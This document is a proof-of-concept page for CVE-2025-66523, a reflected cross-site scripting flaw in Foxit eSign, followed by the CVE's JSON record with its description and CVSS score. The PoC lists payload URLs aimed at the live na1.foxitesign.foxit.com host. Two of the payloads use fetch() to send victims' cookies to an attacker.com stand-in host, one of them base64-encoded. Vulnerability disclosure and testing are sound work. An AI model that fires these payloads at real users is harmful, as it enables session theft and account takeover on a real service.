CVE-2025-66523

<!-- CVE-2025-66523 PoC - Foxit Sign Reflected XSS --> <!-- Target: na1.foxitesign.foxit.com --> <!-- Payload: Injects arbitrary JavaScript via URL parameter --> <!-- Basic XSS payload --> https://na1.foxitesign.foxit.com/vulnerable_endpoint?param=<script>alert(document.domain)</script> <!-- Event handler based XSS --> https://na1.foxitesign.foxit.com/vulnerable_endpoint?param=" onerror=alert(document.cookie) x=" <!-- Image tag with event handler --> https://na1.foxitesign.foxit.com/vulnerable_endpoint?param=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> <!-- SVG based XSS --> https://na1.foxitesign.foxit.com/vulnerable_endpoint?param=<svg/onload=alert(document.cookie)> <!-- Cookie stealing payload --> https://na1.foxitesign.foxit.com/vulnerable_endpoint?param=<script>fetch('https://attacker.com/log?c='+btoa(document.cookie))</script>

{"cve": {"id": "CVE-2025-66523", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-01-20T07:15:48.490", "lastModified": "2026-04-09T14:48:56.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "URL parameters are directly embedded into JavaScript code or HTML attributes without proper encoding or sanitization. This allows attackers to inject arbitrary scripts when an authenticated user visits a crafted link.\n\n\n\n\n\n\nThis issue affects na1.foxitesign.foxit.com: before 2026‑01‑16."}, {"lang": "es", "value": "Los parámetros de URL se incrustan directamente en código JavaScript o atributos HTML sin la codificación o sanitización adecuadas. Esto permite a los atacantes inyectar scripts arbitrarios cuando un usuario autenticado visita un enlace manipulado.\n\nEste problema afecta a na1.foxitesign.foxit.com: antes del 16-01-2026."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:esign:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-16", "matchCriteriaId": "B04F458C-B946-4F58-AC59-8C87FB5AD66B"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}